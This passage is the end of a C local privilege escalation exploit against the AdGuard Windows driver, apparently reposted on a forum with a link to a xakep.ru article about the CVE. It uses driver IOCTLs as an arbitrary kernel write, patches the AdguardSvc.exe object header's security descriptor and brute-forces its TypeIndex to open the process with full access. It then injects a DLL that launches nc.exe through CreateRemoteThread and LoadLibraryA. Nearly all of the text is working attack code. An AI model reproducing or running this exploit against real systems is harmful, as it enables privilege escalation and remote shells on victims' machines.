    printf("[+] g_FakeKernelStruct at FLT3: written 0x%X bytes to 0x%08X\n", sizeof(g_FakeKernelStruct), dst);
    DWORD pFakeExFastRefSD = ((DWORD)dst + 0x10) | 6; // 6 is the random ref count of EX_FAST_REF
    printf("[+] pFakeExFastRefSD = 0x%08X\n",pFakeExFastRefSD);



    g_AdgSvcPID = adguardsvc_pid();
   
    PVOID pHandleCount = (PVOID) ((DWORD)pAdgsvcEprocess - 0x18 /*size OBJECT_HEADER*/ + 4 /*offset HandleCount*/);
    printf("[=====] Stage III. Edit AdguardSvc.exe OBJECT_HEADER.SecurityDescriptor\n");

    printf("[+] AdguardSvc.exe OBJECT_HEADER.HandleCount = 0x%p\n", pHandleCount);
    IOCTL_MSG msg_in, msg_out;
    msg_in.index = 6;
    msg_in.nextItem = (DWORD) pHandleCount; //Driver will interpret this value as address later
    sendIOCTL(IOCTL_ADG_EDIT_ITEM, &msg_in, &msg_out); // edit this item
    sendIOCTL(IOCTL_ADG_UNLINK, &msg_in, &msg_out);


    printf("[=====] Stage IV. Bruteforce OBJECT_HEADER.TypeIndex\n");
    HANDLE hAdgSvc = 0;
    BYTE typeIndex = 0;
    while (true){
        IOCTL_MSG patch;
        patch.index = 6; // Predictable DWORD
        patch.nextItem = 0x00880000 | typeIndex; // Flags constant + typeIndex
        patch.Unknown2 = 0x00000000; // ObjectCreateInfo = NULL
        patch.Unknown3 = pFakeExFastRefSD; // EX_FAST_REF pointer to the weak Security Descriptor at FLT3 pool
        patch.Unknown4 = 0x00000003; // EPROCESS.HEADER.LOCK constant
        sendIOCTL(IOCTL_ADG_EDIT_ITEM, &patch, &msg_out); // Use primitive 2 - arbitrary 16 bytes write to kernel space
        hAdgSvc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, g_AdgSvcPID);
       
        if (hAdgSvc != 0) {
            printf("[+] OBJECT_HEADER.TypeIndex = 0x%02X\n", typeIndex);
            break;
        }
        typeIndex++;
    }
    printf("[+] AdguardSvc.exe opened with PROCESS_ALL_ACCESS, hAdgSvc = 0x%04X\n", hAdgSvc);
   
    printf("[=====] Stage V. Inject into AdguardSvc.exe\n");
        char maliciousDll[] = "C:\\Users\\user\\AppData\\Local\\Temp\\my_tmp\\spawn_nc.dll";

    PVOID pLibRemote = VirtualAllocEx(hAdgSvc, NULL, sizeof(maliciousDll), MEM_COMMIT, PAGE_READWRITE);
    printf("[+] Memory allocated at AdguardSvc.exe: 0x%08X\n", pLibRemote);
    if(!WriteProcessMemory(hAdgSvc, pLibRemote, (PVOID) maliciousDll, sizeof(maliciousDll), NULL)){
        printf("[-] Unable to write to AdguardSvc.exe memory\n");
        exit(1);
    }
    printf("[+] \"%s\" written at address 0x%08X\n", maliciousDll, pLibRemote);

    HANDLE hThread = CreateRemoteThread( hAdgSvc, NULL, 0, (LPTHREAD_START_ROUTINE )GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA"), pLibRemote, 0, NULL );
    if (hThread == NULL){
        printf("[-] Can't inject into AdguardSvc.exe\n");
        exit(1);
    }
    printf("[+] Remote thread created: hThread = 0x%04X\n", hThread);
    printf("[+] nc.exe started as child process of AdguardSvc.exe\n");

    return 0;
}

Источник: https://xakep.ru/2023/01/27/aguard-cve/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх